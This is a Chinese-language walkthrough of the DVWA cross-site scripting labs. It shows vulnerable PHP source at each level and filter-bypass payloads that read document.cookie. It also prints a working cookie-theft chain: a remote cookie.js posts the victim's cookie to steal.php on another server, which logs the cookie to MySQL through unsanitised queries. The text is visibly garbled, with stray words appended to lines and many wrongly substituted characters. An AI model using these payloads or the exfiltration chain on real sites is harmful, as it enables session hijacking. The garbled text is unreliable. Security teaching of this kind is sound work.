XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击
XSS不单单限于JavaScript,还包括flash等其它脚本语言
根据恶意代码是否存储在服务器
中,XSS能够分为存储型的XSS(Stored)与反射型的XSS(Reflected)
DOM型的XSS因为其特殊性,是一种基于DOM树的XSS,被分为第三种
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> #array_key_exists()函数检查数组里是否有指定的键名或索引。有返回true,没有返回false
能够看到,代码直接引用了name参数,并没有任何的过滤与检查
,存在明显的XSS漏洞javascript
输入<script>alert(1)</script>
php
能够看到成功出现弹窗html
F12进入开发者模式能够看到浏览器成功将咱们的输入做为HTML元素解释运行前端
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
Medium级别的代码相对于Low级别的代码使用str_replace
函数将输入中的<script>
删除java
只删除<script>
标签的状况是很容易绕过的:
1.使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3.输入其余标签,如<IMG src=1 onerror=alert(document.cookie)>
能够看到结果:mysql
获取到了当前用户的cookie,这结合csrf
(跨站请求伪造)攻击危害是很大的web
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
能够看到High级别的代码使用了preg_replace
函数执行一个正则表达式的搜索和替换
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
是正则表达式(.*)
表示贪婪匹配,/i
表示不区分大小写
因此在High级别的代码中,全部关于<script>
标签均被过滤删除了正则表达式
虽然<script>
标签无论用了,可是能够使用其余标签绕过
输入<IMG src=1 onerror=alert(document.cookie)>
一样获得Medium级别的结果sql
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
能够看到Impossible级别的代码使用htmlspecialchars
函数把预约义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其做为HTML元素。还加入了Anti-CSRF token
,防止结合csrf
攻击数据库
虽然利用了htmlspecialchars()
函数将用户的输入进行过滤,可是在特定状况下须要用户输入一些被过滤,会丢失原始数据。且htmlspecialchars
本质也是黑名单过滤
,没有绝对安全
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
函数介绍:isset()
函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/falsetrim()
函数做用为移除字符串两侧空白字符或其余预约义字符stripslashes()
函数用于删除字符串中的反斜杠mysqli_real_escape_string()
函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)
进行转义
在代码中对message,name输入框内容没有进行XSS方面的过滤和检查
。且经过query
语句插入到数据库中。因此存在存储型XSS漏洞
因为name和message输入框均存在xss。但name输入框有字符限制,这里能够使用burpsuite抓包修改name输入框内容:<script>alert(document.cookie)</script>
点击Forward获得结果
F12打开开发者模式能够看到输入内容被前端html代码解析运行:
因为提交的结果存储在数据库中,因此每次刷新页面,输入的恶意代码就会被执行一次
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
strip_tags()
函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但容许使用<b>
标签。addslashes()
函数返回在预约义字符(单引号、双引号、反斜杠、NULL)以前添加反斜杠的字符串。htmlspecialchars()
函数把预约义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其做为HTML元素
一顿操做对message输入内容进行检测过滤,所以没法再经过message参数注入XSS代码
可是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
抓包修改name输入内容:(和以前反射型XSS-Medium级别payload一致)
1.使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3.输入其余标签,如<IMG src=1 onerror=alert(document.cookie)>
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>
和反射型XSS-High级别代码功能一致。对name输入内容利用正则匹配
删除全部关于<script>
标签
使用其余标签:<IMG src=1 onerror=alert(document.cookie)>
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
在Impossible代码中一样对name内容使用htmlspecialchars()
函数,还加入了Anti-CSRF token
,防止结合csrf
攻击
可是若是htmlspecialchars函数使用不当,攻击者就能够经过编码的方式绕过函数进行XSS注入,尤为是DOM型的XSS
咱们能够看到,在Reflected和Stored类型的XSS中每一个级别的差别只是过滤黑名单的完善程度
不同。由此,总结一个按照级别分类的XSS输入的payloads
其实,在上述例子的XSS危害只是弹窗,并不能实际获取到cookie,下面演示怎样远程获取用户cookie:
因为script标签能够加载远程服务器的javascript代码而且执行,因此在远程服务器编写一个cookie.js
document.write("<form action='http://192.168.30.135/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>"); document.write("<input type='hidden' name='data' value='"+document.cookie+"'>"); document.write("</form>"); document.exploit.submit();
这段js代码的做用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,而且以post方式发送到同目录下的steal.php:
<?php header("content-type:text/html;charset=utf-8"); $conn=mysql_connect("localhost","root","root"); mysql_select_db("dvwacookie",$conn); if(isset($_GET['data'])) { $sql="insert into low(cookie) values('".$_GET['data']."');"; $result=mysql_query($sql,$conn); mysql_close(); } else if(isset($_POST['data'])) { $sql="insert into low(cookie) values('".$_POST['data']."');"; $result=mysql_query($sql,$conn); mysql_close(); } else { $sql="select * from low"; $result=mysql_query($sql,$conn); while($row=mysql_fetch_array($result)) { echo "偷取的cookie:".$row[1]."</br>"; } mysql_close(); } ?>
steal.php会将咱们获取到的cookie存到数据库中,搞事以前先建立数据库和相应的表(字段):
create database dvwacookie;#建立数据库 use dvwacookie;#进入dvwacookie数据库 create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #建立一个low表,字段id-int类型,主键,值自动增加、字段cookie
接下来在XSS漏洞位置插入:
<script src=http://192.168.50.150/dvwaxss/cookie.js></script>
就能够获取用户cookie。参考连接在此,与本做者无关
对于DOM型的XSS是一种基于DOM树的一种代码注入攻击方式,能够是反射型的,也能够是存储型的
最大的特色就是不与后台服务器交互,只是经过浏览器的DOM树解析产生
介绍下DOM:
HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来讲DOM主要研究的是节点
,全部节点可经过javascript访问(增,删,改,查)
可能触发DOM型XSS属性:本实验中主要用到的就是document.write
属性
document.write属性 document.referer属性 innerHTML属性 windows.name属性 location属性
<?php # No protections, anything goes ?>
能够,很直接
1.正常输入English和French,F12打开开发者模式能够看见
如今来分析一下<script>标签中的代码:
if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>"); #'document.location.href.indexOf()函数截取url中指定参数后面的内容 #document.location.href.substring()函数截取字符串 #decodeURI()函数将编码过的URI进行解码 #docunment.write()能够将HTML表达式或JavaScript代码 从<script>标签的代码能够看出来其做用简单来讲就是把url中的内容提取出来写入到html元素中
2.那咱们直接构造url,在"default=
"后加<script>alert(document.cookie)</script>
F12审查元素:
能够看到和以前正常输入相比较,第一个option
标签,就是<script>标签中document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
改变的内容,其中:decodeURI(lang) = <script>alert(document.cookie)</script>
被解释运行